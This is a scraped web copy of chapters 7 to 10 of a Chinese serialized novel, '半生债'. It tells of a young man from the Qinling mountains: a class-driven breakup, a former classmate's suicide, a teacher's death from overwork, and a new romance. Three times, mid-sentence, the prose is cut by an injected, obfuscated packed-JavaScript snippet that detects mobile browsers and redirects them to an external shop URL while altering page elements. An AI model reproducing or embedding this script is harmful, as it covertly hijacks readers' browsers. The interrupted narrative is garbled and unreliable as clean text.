哭了很久月萍才断断续续说出原委。她家是开厂的，条件很好。高考分数不够线，是家里花了很大一笔“赞助费”才进来的。家里早就为她安排好了对象，是西工大的学生，父母都是大型国企的领导门当户对。“我妈说……”月萍的声音在寒风里抖得不成样子，“我妈说咱们两家中间隔着……隔着整个关中平原呢”。她以死相逼，让我寒假回来就跟你……断了。” 王霖像被冻住了。方才还滚烫的泪水此刻在脸上迅速变得冰冷刺痛。张了张嘴却发不出任何声音。整个世界只剩下风声和那句“隔着整个关中平原”，像冰冷的烙铁烫在心头。 最后一个夜晚他们沉默地走了很久。看着她红肿的眼睛和凄惶的侧脸，那股曾让他飘飘然的柔情蜜意像退潮迅速撤离，露出冰冷坚硬的现实礁石。那件柔软的毛衣那些依赖的眼神，他抡起椅子时的英勇，甚至刚刚建立起的那点可怜的“名声”，在真正的“门户”与“安排”面前轻飘得如同一阵烟雾。那鸿沟从未被填平一直都在，只是被青春的幻梦暂时遮盖了。 这个寒假他比任何时候都沉默。秦岭的湿冷山风，仿佛能穿透棉衣，直接吹进骨头缝里，吹进心里那个刚刚坍塌了一块的地方。几乎足不出户整日蜷在火塘边抱着那些厚重的来自图书馆的书。仿佛只有那些穿越了更漫长时空的苦难与思考才能包裹住此刻新鲜而锐利的创痛。 他失去了一个叫月萍的女孩，也失去了对城市爱情童话的幻想。图书馆的灯光比舞会的霓虹更真实；书页枯燥的沙沙声比任何情话都更持久。第一次尝到了来自城市繁华深处的甜蜜之后的真实滋味——那是一种被精确衡量冷静评估后的拒绝，比山里的贫寒更让他清醒地认识到自己在这座庞大城市坐标系中的确切位置。 风月无边，原来也寒凉彻骨。 那件枣红色毛衣被仔细叠好收进箱底。针脚细密，温暖犹存，只是再也穿不出去了。它成了一份具体的债，一份关于阶层、自尊和青春妄念的债。往后的岁月里，每当他感到被轻视被排斥，鼻梁上早已消失的伤处会隐隐作痛，而心头那块被“关中平原”烙下的寒冰，从未真正融化。 关山易越，心壑难平。 --- 第七章完 ｜ 字数：约3200字 8. 《半生债》上卷·第八章 红梅落了 《半生债》上卷·第八章红梅落了 消息是腊月里传来的，像一块从山顶滚落的冰，砸碎了王霖寒假里那点好不容易攒起来的、属于大学生的虚浮暖意。 他去访赵勇。老友重逢，炭火盆却烘不暖那间旧屋里的气氛。赵勇搓着手，眼神在烟雾后躲闪，喉结上下滚动了几次，终于挤出那句话，声音黏涩得像化不开的冻油： “孙红梅……没了。” 炭火“噼啪”一声，炸开几点火星。窗外的秦岭南坡，是一片凝固的铅灰。 “跳的河。就咱们学校门前，方子潭。” 方子潭。这三个字像三枚冰钉，楔进王霖的耳膜。他眼前立刻浮现出那个地方——河道在这里被山势逼着猛拐，水流发了疯似的冲刷崖壁，年深日久，硬生生凿出一个长方形的深坑。潭水墨绿，深不见底，形状规整得瘆人，像口搁在河床上的石棺。乡下人迷信，直呼它“棺材潭”。初中三年，每天清早去河对岸晨读，都要经过潭边那条窄路。王霖每次走到那里，总不自觉屏住呼吸，加快脚步，心里揣着一种莫名的怯，仿佛那潭水有眼睛，在幽幽地往里吸人。现在他知道了，那潭，真的吞人。 孙红梅。 这个名字带着旧作业本和煤油灯芯的气味，从记忆最深的抽屉里被翻捡出来。她是个瘦小的女孩，坐在第二排，还常被前排男生的背影遮住。清秀是清秀的，但那种清秀被过度的苍白和沉默压着，像朵还没打开就蔫了的花骨朵。她总是低着头，眼睛常年红肿着，眼白布满血丝，像两颗过度使用、濒临磨损的珠子。王霖跟她初中三年同班，说过的话屈指可数。她活在另一个维度——一个由第一名、全免学费、和那盏永不熄灭的煤油灯构筑的，孤绝而令人敬畏的维度。 她的勤奋，是近乎自我毁灭的。王霖记忆最深的，是后半夜。他偶尔起夜，穿过冻得硬邦邦的操场去厕所，四下漆黑，唯有初三教室那扇窗户，还固执地渗出几缕昏黄的光，在寒夜里微弱地颤动。他知道，那是孙红梅。她把自己钉在那张板凳上，对着那豆灯苗，啃噬着似乎永远啃不完的书本。那光，是她从睡眠里、从青春里、从本可能有的嬉笑怒骂里，硬生生榨出来的胆汁。 她总考第一，毫无悬念。仿佛那是她与生俱来的义务，是她换取“免学费”和“好名声”必须支付的唯硬通货。后来，她如愿考上了初中中专里的师范，成了山里飞出的金凤凰，故事到此本应圆满落幕。毕业后，她回到母校教书，端着“国家粮”，成了乡人教育孩子时挂在嘴边的榜样。 赵勇干涩的声音，把王霖从回忆的冰水里拽出来。 “我跟她……偷偷好过。”赵勇盯着炭火，脸在明明灭灭的光里显得模糊，“初中毕业以后。我上医专，她上师范。写信，瞒着所有人。” 他断断续续地讲。讲那些藏在作业本夹层里传递的、字迹工整的信；讲假期里，两人如何在黄昏的山道上“偶然”相遇，隔着三五步的距离，说些不着边际的话，手心却都汗湿了。后来，他在医专有了新女友，是城里的同学，活泼，爱笑，会唱歌。消息不知怎么，还是漏到了红梅那里。 “她没吵没闹。”赵勇的声音低下去，像在忏悔，“就寄来最后一封信，说‘到此为止’。干干净净，一句多余的话都没有。” 开始得隐秘如苔藓，结束得寂静如落雪。 然后，赵勇说起了红梅的家。这些碎片，王霖当年偶有耳闻，此刻却拼出了一幅沉重到令人窒息的画面：五口人，七十多岁颤巍巍、只剩一把骨头的奶奶；一个又黑又瘦、眼神怯生生像受惊麻雀的弟弟；父母都是被无休止的重活榨干了膏肓的药罐子，咳嗽声是那个家永恒的背景音。十四岁，别的女孩还在跳皮筋，孙红梅的肩头就压上了家庭的扁担。每个周末，天蒙蒙亮，她就带着弟弟，钻进秦岭最蛮荒的皱褶里。寻找、砍伐、捆绑那些生满硬刺的灌木和死去的树干。柴捆往往比她还高，勒进她单薄的肩膀。十几里山路，一步步挪到镇上，卖得的几毛钱，小心地攥在手心，换取维系这个家不散的盐和煤油。她的学费是全免的，学校照顾她，乡里表扬她。但这“照顾”与“表扬”，何尝不是一副更华丽的枷锁？它无声地宣告：你必须更好，必须对得起这份恩典，没有退路。 “她怎么……”王霖觉得喉咙被什么堵着，声音发哑，“什么时候的事？怎么发现的？” 赵勇的眼神空茫起来，仿佛望向那个冰冷的清晨。“是晨读的孩子发现的。”他顿了顿，声音更低了，“就那天早上，天刚麻亮，冷得邪乎。几个初三的娃，跟你当年一样，揣着书本要去河对岸背书。路过方子潭……” 他停住了，像是需要力气才能继续说下去。“一个眼尖的娃，看见冰层下面……不太对劲。凑近了看……”赵勇喉咙滚动，“说冰底下，贴着冰面，有个人形。穿着蓝袄子，脸朝上，眼睛……好像还睁着。头发像水草一样散开，冻在冰里。” “几个娃吓惨了，连滚爬跑回学校喊人。老师来了，乡里来了人，最后警察也来了。用镐和钎，一点点凿开冰……捞上来的。”他深吸一口冷气，“捞上来时，人都僵了，跟冰坨子粘在一起。身上就是那件旧蓝袄，口袋里干干净净，啥也没有。警察看了现场，问了话，最后说是自杀。没外伤，没挣扎痕迹，就定案了。” 晨读的孩子发现的。 王霖感到一阵彻骨的寒意。清晨，薄雾，冻得通红的鼻尖，呵出的白气，怀里揣着被体温焐热的课本，嘴里可能还在喃喃背着英语单词或古文——走向那个他们每日必经的、象征着“前程”的晨读地点。然后，就在那条路上，在那片他们或许也曾感到畏惧的深潭边，看见了那被冰封的、曾经的“第一名”，曾经的“榜样”。 一边是走向未来，一边是沉入永恒。一边书声稚嫩，试图用知识凿开大山；一边身体冰冷，已被命运彻底封存。那条通往晨读地点的路，竟也通往死亡的现场。这发现本身，就是一个残酷到极致的隐喻。 方子潭。棺材潭。王霖仿佛能看见那个瘦小身躯，在某个比那个清晨更寒冷绝望的夜里，独自走向那片墨黑的水域。没有呼号，没有遗书，甚至可能没有泪水——她的泪，或许早就在无数个啃书的深夜和背柴的途中流干了。她选择这个晨读孩子必经的地方，是不是一种最后的、沉默的诘问？赵勇的背叛，是压垮她的最后一根稻草吗？还是那日复一日“必须优秀”、“必须扛起全家”的巨债，终于在看似“成功上岸”、为人师表后，显露出它荒芜的本质——前方并无期待中的解脱与光亮，只有更漫长、更孤独的偿还之路？ 没有结论。警察的结论是“自杀”，冰冷的两个字，封存了一切探究。乡间流传的碎片，在灶台边、井沿上低声交换：有人说她“心眼小，想不开”；有人说“女娃子心重，累狠了，弦断了”；更多人归结于“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196349|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没缘法”、“命不好”。但那些晨读的孩子们，那些与她走过同一条路、怀揣同样渺茫希望的少年，他们心里种下的，是更复杂的东西。恐惧？悲凉？还是对那条被许诺的“出路”，产生了一丝不易察觉的动摇与寒意？ 那天，王霖不知道自己是如何辞别赵勇，又是如何深一脚浅一脚走回山上的家的。熟悉的归途变得陌生，寒气穿透棉衣，直抵骨髓。路过那段河道时，他远远望着方子潭的方向。冬日枯水，潭面应该又重新结了冰，光溜溜的，掩盖了曾封存一个少女身躯的痕迹。几个半大的孩子挎着书包，正从对面山坡下来，走向河岸，走向他们日复一日的晨读地点。他们大声说着什么，呵出的白气团团上升。王霖站在那里，忽然动弹不得。眼前的身影与赵勇描述的清晨景象重叠在一起——一边是生机勃勃的“前行”，一边是万籁俱寂的“绝地”。这尖锐的对比，像一把冰锥，刺进他心里。 他把消息带回家时，堂屋里父母正围着火塘。母亲纳鞋底的手停住了，针尖悬在半空；父亲添柴的手顿了顿，一块柴掉在灰里，溅起几点火星。长久的沉默，只有柴火“哔剥”的轻响。终于，父亲重重地、缓缓地叹了口气，那叹息沉得像从肺腑最深处挖出来的：“可惜了……那么硬气、那么争气的一个闺女啊。” 母亲没说话，别过脸去，用粗糙的手背迅速抹了一下眼角。火光跳动，照亮他们脸上被岁月和苦难雕刻出的深壑。那惋惜里，有一种更深切的、兔死狐悲的冰凉——他们懂得那副担子的重量，懂得那种不敢停歇、不能失败的恐惧。或许，他们也从这消息里，隐隐看到了自己孩子那同样绷得太紧、太脆弱的命运之弦。 孙红梅的死，像一颗沉重的石子，投入王霖及许多仍在山路上攀爬的少年心中那片本就暗流汹涌的湖。它冰冷地揭示：“奋斗”的康庄大道旁，还有陡峭的悬崖；“知识改变命运”的响亮口号下，也可能是一个鲜活生命的悄然熄灭与彻底偿清。她偿还了家庭的债、学校的恩、乡里的望，甚至可能连赵勇那点辜负的情，也用最决绝的方式“两清”了。 此后的很多年，王霖总会不时想起她。想起那盏深夜摇曳的煤油灯，想起她红肿却执拗的眼睛，想起她低头走过时带起的那阵微弱的、带着汗与纸墨味的风。而想得最多的，是那些晨读的孩子，和他们惊恐的眼睛。她的死，在他心里凝成一个坚硬的、永不融化的冰核。这冰核不断释放着寒意，拷问着关于奋斗、代价、救赎与债务的本质。它提醒他，在个人与命运搏杀的长路上，有些代价，沉重到无法用任何成功来抵偿。 她多像山涧边那株野生野长的红梅，在万物萧瑟的严冬，拼尽全力挣出几点猩红，所有人都赞叹她的傲寒与鲜艳。却无人知晓，那绽放，本就是生命最后的燃烧。当山外隐约传来春天的消息时，她已凋零，花瓣沉入冰冷的、名为“方子潭”的墓穴，无声无息。而后来者，仍要踏过她沉没的冰面，呵着白气，捧着书本，走向或许光明、或许同样寒冷的未知前程。 红梅开了，又落了。落在1980年代末秦岭南坡凛冽的寒风里，落在晨读少年惊恐的视线与沉重的课本之间，落在棺材潭沉默坚固的冰面下，也落在王霖此后半生每一个关于得失、荣辱、债务与救赎的思索瞬间，成为一个凄冷而永恒的参照，一具被冰封的、关于“代价”的标本。 --- 第八章完 ｜ 字数：约2800字 9. 《半生债》上卷·第九章 长明 《半生债》上卷·第九章长明 记忆是有湿度的。想起母校，总先想起晨雾——秦岭南麓的雾，能把书声和鸟鸣泡得一样清润。丹江在远处响着，春日杜鹃泼辣，秋日银杏碎金。这是关于“故土菁华”的感官记忆，一幅晕染开的水墨。 但今天从这氤氲里显影的，是一个具体的人影。淡，却清晰；静，却有重量。他叫苏志鸿。 那时我们这群山里少年，身上都绷着股急于挣脱什么的劲，毛躁得像未打磨的石子。他不。他是静的，稳的，像物理实验室里那台最精密的电流天平——你知道它准，便安心。理科好，尤擅物理。那些纠缠的力与电、光与路，到他笔下便自然理顺，步骤清晰如尺规作图。我们戏称他“苏先生”，玩笑里藏着服气。他是我们混沌青春里，一座沉默而可靠的坐标。 高二深秋，我曾与王飞龙、王言、贺笃云一起去他家。像一次模糊的朝圣，想看看“榜样”植根于怎样的土壤。家在山坳更深处，屋比想象的清简，却异常整洁。土墙上奖状层层相叠，最上一张墨色犹新：“三好学生”。父母是典型的、被土地吸干了言辞的农人，只搓着手笑，眼里有种小心翼翼的光。母亲默默端来糖水荷包蛋，糖多得发腻——那是她能捧出的最隆重的甜。 我们挤在他窄小的房间。书架上除了课本，竟有几本卷边的《大学物理》与《爱因斯坦传》。他的笔记用麻线装订齐整，字是标准的仿宋，插图用规尺细细描画。那一刻我忽然觉得，他前方的路似乎比我们的更笔直，更笃定：学习，深造，然后回到这片需要光亮的土地，把手中的火种递出去。 后来一切如轨。他考入陕西师范大学物理系，像星体循着既定的轨道。再后来，毫无意外地，他回到母校，站上那方再熟悉不过的讲台。消息传来时，我们已在各自的大学生活里扑腾，只心里“哦”一声，觉得理应如此——他回到了那幅山水画卷里，成了画中一道温润的底色，去晕染新的可能。 毕业后，生活如洪流将我们冲散。关于他的消息，断续如老旧收音机的信号：“志鸿带重点班了”，“又瘦了”，“学生最爱听他的课”。简朴，平实，像他本人。 惊雷在多年后的同学聚会上炸响。酒酣耳热时，不知谁在喧闹的间隙抛出一句：“对了，苏志鸿……前年冬天，走了。” 包厢霎时静默。我捏着酒杯，冰凉从指尖爬上来。“走了？去哪了？”愚蠢的问题脱口而出。 “还能去哪。”答话的是王言，他眼眶不知何时已红，“累死的。心衰。医生说，就是熬的。” 累死的。苏志鸿。这两个词并置，生出荒诞的裂隙。一个尊崇能量守恒定律的人，最终被最不守恒的“劳累”击垮。没有意外，没有漫长病榻，他只是在书声琅琅的校园里，在无数个备课至凌晨的夜与赶往教室的晨雾中，像一根质地精良的灯芯，平稳、持续地燃烧，直至蜡尽。 他将自己的生命也活成了一道物理题：能量总量恒定，而他选择将全部，毫无保留地转化为光与热，赠予他人。 关于他的具体记忆，竟稀薄得令人心慌。我们没有勾肩搭背吹过牛，不曾交换青春期的秘密，毕业后再见也只是点头，他说“挺好”，我说“保重”。他像一个过于完美的概念，存在于我对“奉献”与“回归”的想象里。 王言后来告诉我，志鸿最后那一年，咳嗽已止不住，粉笔灰都让他喘不过气。人人劝他歇歇，他总摆手，苍白脸上浮着惯有的温和：“等把这届孩子送进考场……他们不容易，物理是短板，我不能塌。”他没能送走那届孩子。倒在了高考前最后一个冬夜，办公桌上摊着未批完的模拟卷，红笔搁在“解”字旁。 他走得这样早，成了我们那届星图上最先黯然离去的一颗。他的死，不像孙红梅那般带着凛冽的悲剧性与隐喻的锋利，而是一种沉静的、被日复一日的琐碎与重负共同研磨至光的消逝。这钝感的告别，反而让我在往后更长的岁月里，尝到一种无处着力的空茫。 我曾为他，也为许多被宏大叙事轻轻拂去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196350|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的名字，写过短文，发表在无人留意的角落。墨迹干透时便知，文字太轻，承不住一份生命的重量。可也正是从那时起，我开始不可抑制地书写，关于土地，关于离去与归来，关于明灭的灯火。仿佛有一种无声的、日益沉重的债，压在舌根与笔尖——若不记录，不打捞，那些曾如此努力活过又静默离去的一切，是否真如粉笔字般，被岁月轻易拭净，了无痕迹？ 母校的辉煌史，“厚德博学、求真致远”的鎏金大字下，“高考佳绩频传”的喜报背后，是多少个苏志鸿这般具体的人，用晨昏、健康、乃至本可漫长的余生，一砖一瓦垒筑而成？他们不曾远行博取功名，未留惊世著作或财富，一生便在那被赞美的画卷里，一年年，一届届，磨损自身光华，只为将更多孩子托举过命运的隘口，送至我们所在的、看似广阔却也布满其他形制樊笼的世界。他们偿还的，是对脚下土地、对三尺讲台、对“老师”二字最深沉而无言的情义之债，生命之债。 如今，母校清晨，鸟鸣仍与年轻的书声交响。新的面孔会对复杂电路皱眉，新老师会指着受力分析图耐心讲解。无人会特意说，多年前，有位苏老师在此，为了一届届如你们般的孩子，熬尽了心血。 但我想，他或许从未离开。他化在了那幅名为“母校”的画卷最温润的底色里，化为了丹江流水不息的吟唱，化作了“教师”这平凡称谓所承载的千钧之重。他是一盏曾彻夜长明的灯。光，虽熄。燃烧本身，已成不灭。 这便够了。被记住，有时无需铭刻石碑。或许，只是另一个曾被他照亮、如今鬓角亦染霜雪的人，在异乡某个疲惫的深夜，推窗望向陌生灯火时，忽然想起——故乡山间，曾有一盏灯，那么亮，那么稳，那么久地亮着。 秦岭南麓的晨雾依旧年年漫上山岗，丹江的流水裹着书声流向远方。那些被晨光照亮的人，终会成为新的灯盏，在不同的角落，以不同的方式，把温热的光还给这片生养他们的土地。 第九章完 ｜ 字数：约2000字 10. 《半生债》上卷·第十章 风陵渡 《半生债》上卷·第十章风陵渡 大学最后一年的光景，像丹江水流到平缓处，水面铺得开阔了，反叫人心里空落落地慌。分配的消息迟迟不来，每个人都在雾里趟着，王霖在这雾里，遇到了两个姑娘。一个是叶子，轻盈的，像风里打着旋儿的柳絮；一个是莉莉，却是能让人把脚踩实的土地。 叶子是那种走到哪儿都带着光的姑娘。小巧的个子，马尾辫在脑后一跳一跳，跑起来真像只灵动的兔子。王霖心里偷偷这么叫过她，但大家都叫她叶子，许是因为她那股子轻盈劲儿，仿佛一阵风来就能跟着飘走。她是校园里小有名气的诗人，常在文学社的油印刊物上发表些带着淡淡愁绪的句子。王霖那时挂着“编辑部编辑”的虚名，审稿、校对，一来二去便熟了。知道她是邻县人，家也在丹江边，这地理上的亲近先在心里漾开一小圈涟漪。 真正的靠近，是在那趟寒假回家的长途汽车上。车厢里挤满了归心似箭的学生，混杂着行李、汗味和劣质烟草的气息。王霖挪动着，一眼看见靠窗坐着的叶子。他不知哪来的勇气，挤过人群，在她身边的空位坐下。叶子侧过脸，见是他，眼睛弯起来，亮晶晶的，像山涧里被阳光照着的水。车子开动后，她的话便多了起来，像开了闸的溪水，清凌凌地流淌。讲路上见闻，讲刚读的小说，讲对某句诗的感悟，银铃似的笑声时不时迸出来，引得前后座的人都侧目。王霖大多时候只是听，拘谨地坐着，双手不知该放哪儿，心头却像被温热的泉水漫过。 许多年后，王霖仍会想起那个清晨的画面：车子翻过一道山梁，东方的晨光毫无遮拦地泼进车窗，斜斜地掠过叶子伸向前座靠背的手臂。那手臂纤细，在清冽的晨光里显出一种近乎透明的白，上面一层极细的绒毛泛着淡淡的金色光晕。这画面沉进了记忆的河床，成为关于青春、关于一种可望而不可即之美的永恒证据——那种美属于另一个世界，那个世界里的人写诗，谈理想，未来有无限种轻盈的可能。 叶子身体似乎单薄，每学期总要大病一场，说是淋巴发炎，躺在女生宿舍里出不来。每到这时，班里的男生们便三三两两约着去探望。王霖总是最迟钝的那个，要被人从书本里拽出来提醒，才最后一个，红着脸，脚步迟疑地踏进那间飘着淡淡药味和雪花膏香气的房间。 叶子躺在蚊帐里，脸色苍白，看见他，眼睛会亮一下，随即又蒙上一层病弱的疲惫。他知道她母亲是县城中学的教师，温和雅致。而自己的父母，是面朝黄土、指甲缝里嵌着洗不尽的黑泥的农民。这认知像一层虽薄却坚韧的膜，隔在中间。他清晰地感受到她的好感——全班男生都打趣，说叶子看他的眼神“不一样”。每次起哄，都让他面红耳赤，心里却清醒地知道：叶子是诗，是山巅的云，终将飘向更高、更远、他踮脚也望不到的枝头。后来听说，叶子果真从政了，在家乡做到了县委常委。这消息是很久以后，莉莉在一次晚饭时随口提起的。王霖怔了一瞬，眼前闪过那片晨光里的金色绒毛——那个写诗的女孩，终究走进了另一种现实。他低头吃饭，心里某个角落轻轻一响，像是对某个从未真正开始的自己，说了声再见。 而莉莉，是水，是土，是他踉跄前行时，终于伸手够到的一根结实枝杈。 她的出现，平淡得像秋日里一片无声落下的叶。一天课后，这个圆脸、说话声音总是不急不缓的同班姑娘找到他，脸上带着点不好意思的笑，问：“王霖，听说，你认识人能买到便宜的自行车？能不能……帮我也买一辆？”她说，七八成新就成。 王霖点点头说：五十元。他接过那五张带着她体温的伍拾元钞票时，手心竟有些出汗，感到一种被郑重托付的沉实。 周末，他跑了趟西郊的另一所大学，找到那位据说“很有路子”的老乡，果真推回一辆擦得锃亮、除了铃不响哪儿都响的“飞鸽”牌自行车。交到莉莉手上时，她接过车把，按了按铃铛，抬起头对他笑，眼睛眯成好看的月牙，连声道谢。那笑容没有叶子的炫目，却像冬日里晒了一上午的棉被，暖烘烘的，能直接焐到人心窝里去。 就这么一件顶平常的小事，像一粒无意间落入沃土的种子，在王霖心里悄没声地发了芽。 他开始留意这个以往没太注意的姑娘：朴实，话不多，但句句实在；对谁都温和，但对他说话时，语调里似乎多了一点点不易察觉的柔软。他暗自懊恼，怎么早没发现这块璞玉？更叫他心安的是，莉莉家虽是城里户口，但父母原先也是地道的农民，后来才在城乡结合部落了脚，种菜、卖瓜，侍弄土地。 莉莉有一次笑着说：“我家顶多是富农成分，你家是贫农，仔细论起来，咱俩还是一个阶级的！”这话像一把钥匙，轻轻旋开了王霖心底那把关于出身、关于阶层差异的沉重锈锁。他开始了笨拙却热烈的追求，两个年轻人很快便走在了一起。 那些日子，是王霖青春岁月里最饱满、最沉甸甸的金色。他牵着莉莉的手，用脚步丈量过西安城墙投下的长长阴影，也漫无目的地走过大学周边广袤的、冬天落尽叶子显得疏朗的麦田。他们谈理想，谈分配，又小心翼翼地避开具体的地名和单位，只是盲目地、用力地相信着“在一起”这个朴素信念本身的力量。幸福变得如此触手可及，具体到可以暂时遮蔽对庞大未知的所有惶恐。 最后一个寒假来临前，王霖下定决心，要带莉莉回一趟商南山里的家。那趟旅程，成了对这份年轻感情一次笨拙而真实的淬炼。 漫长的山路似乎没有尽头，老旧的长途汽车在“之”字形的山道上喘息、盘旋，每一次急转弯都让人心提到嗓子眼。下了汽车，还要搭一程吱呀作响的牛车。莉莉紧紧抓着他的胳膊，脸色有些发白。她一次次望着前方似乎永远连绵的群山，小声问：“王霖，还有多远？”王霖总是指着前方山嘴：“快了，拐过这个弯就能看见村子了。”可牛车慢悠悠地拐过一个弯，眼前是更深的山谷和另一道需要翻越的山梁。 再拐一个，依然是望不到头的苍翠。看着莉莉眼里渐渐积聚的、强忍着没掉下来的泪花，王霖心里第一次为她感到一种尖锐的、混杂着心疼与无措的痛楚——是他把她带进这大山的皱褶，这份愧疚像种子般落进心底。他暗自发誓，这辈子一定要对这个愿意跟他走进深山的姑娘好，仿佛唯有这样，才能抵消此刻心里的疼。一股汹涌的、想要保护她一生的冲动在胸腔里撞击。 尽管他当时还太年轻，并不知道这个“好一辈子”的誓言，需要穿越未来多少现实的险滩和命运的激流。 父母见到莉莉，脸上的皱纹都舒展开，笑意从眼底一直漾到嘴角，那是掩不住的欣慰与满足。家里的饭菜简陋，但母亲倾其所有，把攒下的山珍、鸡蛋都端上了桌；土炕坚硬，却铺上了晒得蓬松、带着阳光气息的最新被褥。 父亲话不多，只是不停地让菜，眼神里的认可厚重如山。那种沉默而盛大的接纳，莉莉感受到了，她悄悄对王霖说：“你爸妈人真好。” 年后，按照约定，王霖独自坐车去了莉莉渭南的家。 那是一片他从未见过的天地。火车驶出秦岭，窗外骤然开阔，平原一望无际，冬日的土地裸露着，坦荡得让人心慌。莉莉家在城乡结合部，几间青砖瓦房围成个整洁的院子。听到动静，莉莉的父母迎了出来。 父亲是个黑瘦的汉子，个子不高，背却挺得笔直，脸上刀刻般的皱纹里嵌着洗不净的泥土色。他穿着洗得发白的蓝布褂子，双手粗糙有力，见到王霖，只是点了点头，眼神锐利地在他身上扫了一遍，喉咙里“嗯”了一声，算是打过招呼。但那威严的审视下，王霖却捕捉到一丝迅速隐去的、近乎温和的光。 母亲则完全不同，皮肤白皙，圆脸盘，未语先笑，眼角细细的纹路都透着和气。她拉着王霖的手就往屋里让，手是软的，温暖的。“快进来，路上冷吧？莉莉常念叨你。”声音软糯，带着此地特有的口音。后来王霖才知道，莉莉的母亲原是附近镇上大户人家的姑娘，当年因为家庭成分问题，嫁给了根正苗红却家境贫寒的莉莉父亲。 走进堂屋，王霖才发现这个家庭的规模。莉莉是老大，下面还有四个妹妹。老二戴着眼镜，文文静静的，正在里屋看书，听说已经考上了西北大学，是家里的骄傲；老三在县里当小学老师，说话爽利；老四是个结实姑娘，皮肤晒得黝黑，一看就是常在地里干活的，她后来要招上门女婿继承家业；老五最小，打扮得最时新，五个女儿，五朵花，把这个家填得满满当当，热闹非凡。 王霖的到来，像是往这潭热闹的池水里投了颗石子。姐妹们围着他，好奇地打量，问东问西。 莉莉母亲笑呵呵地指挥着这个，招呼着那个，脸上洋溢着满足的光。父亲虽然依旧话不多，但坐在主位上，看着满屋子的女儿和这个新来的、有些局促的年轻人，嘴角的线条是松弛的。 午饭摆了两桌才坐下。席间，莉莉父亲话依旧不多，只是默默将肉菜往王霖碗里夹。母亲则不住地给王霖布菜，问些家常，语气里满是关切：“家里几口人？”“父母身体都好吧？”“上学辛苦不？”每一个问题都平常，却让王霖感到一种久违的、属于大家庭的温暖包裹。老四讲着地里的趣事，老三说着学校的见闻，老五偶尔插几句城里的新鲜事儿，老二则安静地听着，偶尔补充一两句。莉莉坐在王霖身边，脸上一直带着笑，那笑容里有种“看，这就是我家”的坦然与小小的骄傲。 饭后，莉莉父亲吧嗒着旱烟，对王霖说：“走，去地里看看。” 那是王霖第一次见到如此规模的瓜地。虽已是冬季，田里只剩下干枯的藤蔓和准备来年耕作的土地，但站在地头，依然能想象夏季的壮观。地垄笔直，一眼望不到边。“这原先都是盐碱地，”莉莉父亲用烟杆指点着，“一点点用土压，用肥养，十几年才养成这样。”他的语气里有种不易察觉的自豪。“夏天你来，满眼都是瓜，黑皮，起沙，甜得粘手。老辈子说是贡过皇帝的品种。”他弯腰抓起一把土，在手里捻了捻，土色黝黑，“地不哄人，你下多少力气，它就给你多少收成。” 王霖看着眼前这个黑瘦的农民，忽然对他肃然起敬。这不仅仅是一片土地，这是一个男人用脊梁和汗水，从荒芜中一寸寸夺来的疆土，是他安身立命、养活一大家子的全部尊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196351|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严所在。那沉默的威严底下，是对土地深入骨髓的眷恋与掌控。对比自己父亲在山石间刨食的艰辛，这里的劳作呈现出另一种形态——规模、传承、以及对富足更直接的渴望。一股压力无声地落在他肩上：他要给莉莉的生活，至少不能低于这片土地能给予的标准。 往回走的路上，莉莉父亲忽然说：“莉莉是老大，从小就懂事，帮着她妈带妹妹，地里啥活也干。”他停顿了很久，久到王霖以为话已说完，他才又开口，声音低沉：“她跟了你，欲言又止。。。。。。”但是王霖知道，这是一个父亲对女儿的爱，对这份爱的交付传承，有些信心不足。总之，对这个年轻人了解太少了。王霖嗯嗯的应答者，不知所云。 几天的相处，王霖清晰地感受到这个家庭质朴的温暖和对他毫不掩饰的接纳。那种接纳不是热烈的，而是像平原上的土地，厚实，沉默，却能承载万物。莉莉母亲私下对他说：“他爸就是这样，话金贵。可心里明镜似的。你能来，他心里高兴。”她看着院子里忙碌的女儿们，轻声说：“这一大家子，五个闺女，各有各的命。就盼着她们都好。莉莉跟着你，往后的路，你们好好走。” 离开渭南前，莉莉父亲将王霖叫到一边，递给他一包自家炒的南瓜子。“拿着路上吃。”他顿了顿，看着王霖，眼神复杂，那里面有关切，有期望，或许还有一丝不易察觉的忧虑，最终只说了句：“对莉莉好点。莉娃，心眼实。” 王霖重重地点头，喉咙发紧，什么也说不出来。那一刻，他感到自己肩膀上落下了一副看不见的担子，那是一个父亲沉甸甸的托付，是一个家庭毫无保留的信任。 回到商南，毕业分配的通知依旧杳无音信。等待磨人心志。王霖最终咬牙，再次北上。他需要和莉莉一起，面对那个悬而未决的未来。 在莉莉家，他得知了一个惊人的决定：莉莉不打算在陕西苦等分配了。她一位远房亲戚在东山省东海市，信里说那里是新开放的沿海城市，机会像潮水一样涌来，已为她联系好了一份工作。她决心南下。 